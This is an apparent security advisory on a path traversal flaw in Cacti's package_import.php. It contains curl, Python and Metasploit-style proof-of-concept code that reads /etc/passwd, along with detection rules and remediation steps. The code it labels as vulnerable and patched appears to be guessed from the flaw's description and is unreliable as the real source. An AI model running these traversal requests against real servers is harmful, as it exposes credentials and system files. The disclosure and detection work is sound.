CVE-2026-39899

Executive Summary

CVE-2026-39899 is a Path Traversal vulnerability in Cacti, an open-source performance and fault management framework. Versions 1.2.30 and prior are vulnerable. The flaw exists in the package_import.php script, where the filename parameter is not properly sanitized, allowing an attacker to read arbitrary files outside the intended directory. This can lead to unauthorized disclosure of sensitive information, such as configuration files, credentials, or system files. The vulnerability has been fixed in version 1.2.31.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the Cacti application. The fix is available in the official Cacti GitHub repository.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for any organization using Cacti.

Deep Dive & Mechanics

The vulnerability resides in the package_import.php file. The script accepts a filename parameter via GET or POST request. This parameter is used to read a file from the server's filesystem. Due to insufficient input validation, an attacker can supply a path traversal sequence (e.g., ../../etc/passwd) to read files outside the intended packages/ directory.

The vulnerable code likely uses a function like file_get_contents() or fopen() with the user-supplied filename without checking for ../ sequences. The fix in version 1.2.31 implements proper path sanitization, likely by using realpath() and verifying the resolved path is within the allowed directory.

Vulnerable vs. Patched Code

Vulnerable Code (1.2.30 and prior):

// package_import.php
$filename = $_GET['filename'];
$content = file_get_contents($filename);

Patched Code (1.2.31):

// package_import.php
$filename = $_GET['filename'];
$basepath = realpath(__DIR__ . '/packages');
$filepath = realpath($basepath . '/' . $filename);
if (strpos($filepath, $basepath) !== 0) {
    die('Invalid file path');
}
$content = file_get_contents($filepath);

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

# Read /etc/passwd
curl "http://target/cacti/package_import.php?filename=../../../../etc/passwd"

Automated Exploitation:

import requests

target = "http://target/cacti/package_import.php"
payload = "../../../../etc/passwd"
response = requests.get(target, params={"filename": payload})
print(response.text)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Cacti package_import.php Path Traversal',
      'Description' => 'Reads arbitrary files via path traversal in package_import.php',
      'Author' => ['Your Name'],
      'References' => [['CVE', '2026-39899']]
    ))
  end

  def run
    res = send_request_cgi({
      'uri' => '/cacti/package_import.php',
      'vars_get' => { 'filename' => '../../../../etc/passwd' }
    })
    print_good(res.body) if res
  end
end

Blue Team

Lab Setup:

1. Deploy a vulnerable Cacti instance (version 1.2.30) in a sandboxed environment.
2. Use a web application firewall (WAF) to test detection rules.
3. Monitor logs for path traversal patterns.

Detection Testing:

# Simulate attack
curl "http://target/cacti/package_import.php?filename=../../../../etc/passwd"
# Check web server logs for the request
tail -f /var/log/apache2/access.log | grep "package_import.php"

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cacti/package_import.php with filename parameter containing ../ sequences.
  • Unusual file reads (e.g., /etc/passwd, /etc/shadow, /proc/self/environ).

• File System IOCs:

  • Unexpected access to files outside the Cacti web root.
  • Modified or deleted log files.

• Log IOCs:

  • Web server logs showing package_import.php with path traversal patterns.
  • Error logs indicating file read failures for non-existent paths.

Detection Engineering

YARA Rule

rule CVE_2026_39899_Cacti_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Cacti package_import.php"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-39899"
    strings:
        $traversal = /\.\.\/\.\.\/\.\.\/\.\.\/(etc|proc|var|home|root|tmp)/ nocase
        $script = "package_import.php" nocase
    condition:
        $script and $traversal
}

Sigma Rule

title: Cacti package_import.php Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against Cacti package_import.php
author: Valters IT
date: 2026/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39899
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cacti/package_import.php'
        cs-uri-query|contains: 'filename='
    keywords:
        - '..'
        - '/etc/'
        - '/proc/'
        - '/var/'
    condition: selection and keywords
falsepositives:
    - Legitimate package imports with valid filenames
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-39899 Cacti Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/cacti/package_import.php"; http_uri; content:"filename="; http_uri; pcre:"/filename=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Cacti version 1.2.31 or later.
2. Workaround: If immediate upgrade is not possible, restrict access to package_import.php via web server configuration (e.g., .htaccess or Nginx location block).
3. WAF Rules: Deploy WAF rules to block path traversal patterns in the filename parameter.
4. Monitoring: Enable detailed logging for package_import.php and monitor for suspicious requests.
5. Least Privilege: Ensure the web server runs with minimal file system permissions.

Valters IT
Securing Digital Frontiers